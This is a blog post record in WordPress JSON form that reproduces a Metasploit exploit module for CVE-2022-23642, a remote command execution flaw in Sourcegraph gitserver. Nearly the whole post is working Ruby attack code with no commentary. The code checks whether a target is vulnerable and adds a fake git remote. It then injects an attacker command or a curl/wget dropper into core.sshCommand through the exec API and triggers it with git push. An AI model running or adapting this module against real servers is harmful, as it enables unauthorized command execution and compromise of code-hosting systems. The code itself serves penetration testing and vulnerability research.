{"id":27080,"date":"2022-07-13T21:39:04","date_gmt":"2022-07-13T17:39:04","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167741\/sourcegraph_gitserver_sshcmd.rb.txt"},"modified":"2022-07-20T08:58:43","modified_gmt":"2022-07-20T04:28:43","slug":"sourcegraph-gitserver-sshcommand-remote-command-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/sourcegraph-gitserver-sshcommand-remote-command-execution\/","title":{"rendered":"Sourcegraph gitserver sshCommand Remote Command Execution"},"content":{"rendered":"<p dir=\"ltr\">##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<\/p>\n<p dir=\"ltr\">class MetasploitModule &lt; Msf::Exploit::Remote<\/p>\n<p dir=\"ltr\">Rank = ExcellentRanking<\/p>\n<p dir=\"ltr\">prepend Msf::Exploit::Remote::AutoCheck<br \/>\ninclude Msf::Exploit::Remote::HttpClient<br \/>\ninclude Msf::Exploit::CmdStager<\/p>\n<p dir=\"ltr\">def initialize(info = {})<br \/>\nsuper(<br \/>\nupdate_info(<br \/>\ninfo,<br \/>\n&#8216;Name&#8217; =&gt; &#8216;Sourcegraph gitserver sshCommand RCE&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nA vulnerability exists within Sourcegraph&#8217;s gitserver component that allows a remote attacker to execute<br \/>\narbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can<br \/>\nthen be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a<br \/>\nfeature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the<br \/>\ncommands that are able to be executed through the git exec REST API.<br \/>\n},<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n&#8216;Altelus1&#8217;, # github PoC<br \/>\n&#8216;Spencer McIntyre&#8217; # metasploit module<br \/>\n],<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n[&#8216;CVE&#8217;, &#8216;2022-23642&#8217;],<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/sourcegraph\/sourcegraph\/security\/advisories\/GHSA-qcmp-fx72-q8q9&#8217;],<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/Altelus1\/CVE-2022-23642&#8217;],<br \/>\n],<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2022-02-18&#8217;, # Public disclosure<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;],<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_CMD, ARCH_X86, ARCH_X64],<br \/>\n&#8216;Targets&#8217; =&gt; [<br \/>\n[<br \/>\n&#8216;Unix Command&#8217;,<br \/>\n{<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;unix&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>\n&#8216;Type&#8217; =&gt; :unix_memory<br \/>\n},<br \/>\n],<br \/>\n[<br \/>\n&#8216;Linux Dropper&#8217;,<br \/>\n{<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;linux&#8217;,<br \/>\n# when the OS command is executed, it&#8217;s executed twice which will cause some of the command stagers to<br \/>\n# be corrupt, these two work even for larger payloads because they&#8217;re downloaded in a single command<br \/>\n&#8216;CmdStagerFlavor&#8217; =&gt; %w[curl wget],<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_X86, ARCH_X64],<br \/>\n&#8216;Type&#8217; =&gt; :linux_dropper<br \/>\n},<br \/>\n]\n],<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;RPORT&#8217; =&gt; 3178<br \/>\n},<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>\n&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>\n&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n}<br \/>\n)<br \/>\n)<\/p>\n<p dir=\"ltr\">register_options([<br \/>\nOptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Base path&#8217;, &#8216;\/&#8217;]),<br \/>\nOptString.new(&#8216;EXISTING_REPO&#8217;, [false, &#8216;An existing, cloned repository&#8217;])<br \/>\n])<br \/>\nend<\/p>\n<p dir=\"ltr\">def check<br \/>\nres = send_request_exec(Rex::Text.rand_text_alphanumeric(4..11), [&#8216;config&#8217;, &#8216;&#8211;default&#8217;, &#8221;, &#8216;core.sshCommand&#8217;])<br \/>\nreturn CheckCode::Unknown unless res<\/p>\n<p dir=\"ltr\">if res.code == 200 &amp;&amp; res.body =~ \/^X-Exec-Exit-Status: 0\/<br \/>\n# this is the response if the target repo does exist, highly unlikely since it&#8217;s randomized<br \/>\nreturn CheckCode::Vulnerable(&#8216;Successfully set core.sshCommand.&#8217;)<br \/>\nelsif res.code == 404 &amp;&amp; res.body =~ \/&#8221;cloneInProgress&#8221;\/<br \/>\n# this is the response if the target repo does not exist<br \/>\nreturn CheckCode::Vulnerable<br \/>\nelsif res.code == 400 &amp;&amp; res.body =~ \/^invalid command\/<br \/>\n# this is the response when the server is patched, regardless of if there are cloned repos<br \/>\nreturn CheckCode::Safe<br \/>\nend<\/p>\n<p dir=\"ltr\">CheckCode::Unknown<br \/>\nend<\/p>\n<p dir=\"ltr\">def exploit<br \/>\nif datastore[&#8216;EXISTING_REPO&#8217;].blank?<br \/>\n@git_repo = send_request_list.sample<br \/>\nfail_with(Failure::NotFound, &#8216;Did not identify any cloned repositories on the remote server.&#8217;) unless @git_repo<\/p>\n<p dir=\"ltr\">print_status(&#8220;Using automatically identified repository: #{@git_repo}&#8221;)<br \/>\nelse<br \/>\n@git_repo = datastore[&#8216;EXISTING_REPO&#8217;]\nend<\/p>\n<p dir=\"ltr\">print_status(&#8220;Executing #{target.name} target&#8221;)<\/p>\n<p dir=\"ltr\">@git_origin = Rex::Text.rand_text_alphanumeric(4..11)<br \/>\ngit_remote = &#8220;git@#{Rex::Text.rand_text_alphanumeric(4..11)}:#{Rex::Text.rand_text_alphanumeric(4..11)}.git&#8221;<br \/>\nvprint_status(&#8220;Using #{@git_origin} as a fake git origin&#8221;)<br \/>\nsend_request_exec(@git_repo, [&#8216;remote&#8217;, &#8216;add&#8217;, @git_origin, git_remote])<\/p>\n<p dir=\"ltr\">case target[&#8216;Type&#8217;]\nwhen :unix_memory<br \/>\nexecute_command(payload.encoded)<br \/>\nwhen :linux_dropper<br \/>\nexecute_cmdstager<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\">def cleanup<br \/>\nreturn unless @git_repo &amp;&amp; @git_origin<\/p>\n<p dir=\"ltr\">vprint_status(&#8216;Cleaning up the git changes&#8230;&#8217;)<br \/>\n# delete the remote that was created<br \/>\nsend_request_exec(@git_repo, [&#8216;remote&#8217;, &#8216;remove&#8217;, @git_origin])<br \/>\n# unset the core.sshCommand value<br \/>\nsend_request_exec(@git_repo, [&#8216;config&#8217;, &#8216;&#8211;unset&#8217;, &#8216;core.sshCommand&#8217;])<br \/>\nensure<br \/>\nsuper<br \/>\nend<\/p>\n<p dir=\"ltr\">def send_request_exec(repo, args, timeout = 20)<br \/>\nsend_request_cgi({<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;exec&#8217;),<br \/>\n&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>\n&#8216;data&#8217; =&gt; {<br \/>\n&#8216;Repo&#8217; =&gt; repo,<br \/>\n&#8216;Args&#8217; =&gt; args<br \/>\n}.to_json<br \/>\n}, timeout)<br \/>\nend<\/p>\n<p dir=\"ltr\">def send_request_list<br \/>\nres = send_request_cgi({<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;list&#8217;),<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;vars_get&#8217; =&gt; { &#8216;cloned&#8217; =&gt; &#8216;true&#8217; }<br \/>\n})<br \/>\nfail_with(Failure::Unreachable, &#8216;No server response.&#8217;) unless res<br \/>\nfail_with(Failure::UnexpectedReply, &#8216;The gitserver list API call failed.&#8217;) unless res.code == 200 &amp;&amp; res.get_json_document.is_a?(Array)<\/p>\n<p dir=\"ltr\">res.get_json_document<br \/>\nend<\/p>\n<p dir=\"ltr\">def execute_command(cmd, _opts = {})<br \/>\nvprint_status(&#8220;Executing command: #{cmd}&#8221;)<br \/>\nres = send_request_exec(@git_repo, [&#8216;config&#8217;, &#8216;core.sshCommand&#8217;, cmd])<br \/>\nfail_with(Failure::Unreachable, &#8216;No server response.&#8217;) unless res<br \/>\nunless res.code == 200 &amp;&amp; res.body =~ \/^X-Exec-Exit-Status: 0\/<br \/>\nif res.code == 404 &amp;&amp; res.get_json_document.is_a?(Hash) &amp;&amp; res.get_json_document[&#8216;cloneInProgress&#8217;] == false<br \/>\nfail_with(Failure::BadConfig, &#8216;The specified repository has not been cloned.&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">fail_with(Failure::UnexpectedReply, &#8216;The gitserver exec API call failed.&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">send_request_exec(@git_repo, [&#8216;push&#8217;, @git_origin, &#8216;master&#8217;], 5)<br \/>\nend<\/p>\n<p dir=\"ltr\">end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule &lt; Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, &#8216;Name&#8217; =&gt; &#8216;Sourcegraph gitserver sshCommand RCE&#8217;, &#8216;Description&#8217; =&gt; %q{ A vulnerability exists within Sourcegraph&#8217;s gitserver component that allows a remote attacker to execute &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-27080","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/27080","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=27080"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/27080\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=27080"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=27080"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=27080"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}